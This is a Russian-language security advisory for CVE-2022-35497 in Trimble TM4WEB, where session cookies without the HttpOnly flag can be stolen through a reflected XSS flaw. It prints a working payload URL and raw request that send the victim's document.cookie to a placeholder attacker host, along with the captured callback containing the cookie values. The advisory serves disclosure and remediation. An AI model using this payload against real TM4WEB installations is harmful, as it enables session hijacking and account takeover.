
Уязвимость TM4WEB - CVE-2022-35497
В Trimble TM4WEB <=22.2.0 из-за неправильной конфигурации безопасности идентификаторов сессии существует возможность восстановить действительные cookie сессии через отражённый межсайтовый скриптинг, затрагивающий конечную точку внешнего просмотрщика документов.
В частности, три cookie, используемые для поддержания сессий: UID, rstring и PHPSESSIONID, ни одна из которых не имеет соответствующего флага HttpOnly, предотвращающего восстановление из векторов выполнения JavaScript.
Шаг 1 :
Злоумышленник использует уязвимость отражённого межсайтового скриптинга CVE-2022-35499 для получения cookie сессии аутентифицированной жертвы.
Злоумышленник запускает прослушиватель на произвольном порту сервера, доступного из интернета, который может принимать HTTP-запросы. Это можно сделать с помощью такого сервиса, как requestbin, или просто запустив прослушиватель netcat на произвольном порту.
Пример URL использует указанный XSS CVE-2022-35499 для выполнения атаки перехвата сессии на аутентифицированного пользователя и отправляет cookie сессии жертвы на сервер, контролируемый злоумышленником
(в примере представлен как x.x.x.x вместо нашего IP-адреса) на порту 13337
Пример вредоносного URL с использованием несуществующего сайта:
https://example.tm4web.com/trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!--
Эта уязвимость возможна только потому, что идентификаторы сессии недостаточно защищены от такого типа атак.
Три cookie, используемые для поддержания сессий:
UID
rstring
PHPSESSIONID
Ни одна из этих cookie не настроена с флагом HttpOnly. Эта опция конфигурации предотвратила бы доступ к значениям cookie из контекста JavaScript.
Аналогично, эти cookie также должны иметь включённый флаг SECURE, который предотвращает их передачу по незашифрованному каналу.
Вредоносный GET-запрос, используемый для выполнения атаки, показан ниже, IP-адрес сервера злоумышленника опущен и заменён на x.x.x.x
GET /trace/external_bill_viewer.msw?foo=bar%22}%27);document.location=%27http://x.x.x.x:13337/foo.txt?c=%27%2bdocument.cookie;%3C!-- HTTP/1.1
Host: example-tm4web.com
Cookie: uid=BELLTESTUSER; rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ; PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc
Результирующий обратный запрос, который злоумышленник получает на своём сервере, показан ниже, раскрывая cookie сессии жертвы, добавленные к параметру ?c.
GET /foo.txt?c=uid=BELLTESTUSER;%20rstring=Ppck2FYLdP1sW894abFJQPS8x7tcLDt1C1652z8fgUNKr8zjVQ;%20PHPSESSID=adf244d8bb219c9c11b6750d6a5a7cbc HTTP/1.1
Host: x.x.x.x:13337
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-CA,en;q=0.9,fr-CA;q=0.8,fr;q=0.7,en-GB;q=0.6,en-US;q=0.5
Connection: close
ВОЗДЕЙСТВИЕ: аутентифицированные пользователи могут стать жертвами перехвата сессии и учётных записей злоумышленниками, использующими уязвимость отражённого XSS из неаутентифицированной позиции.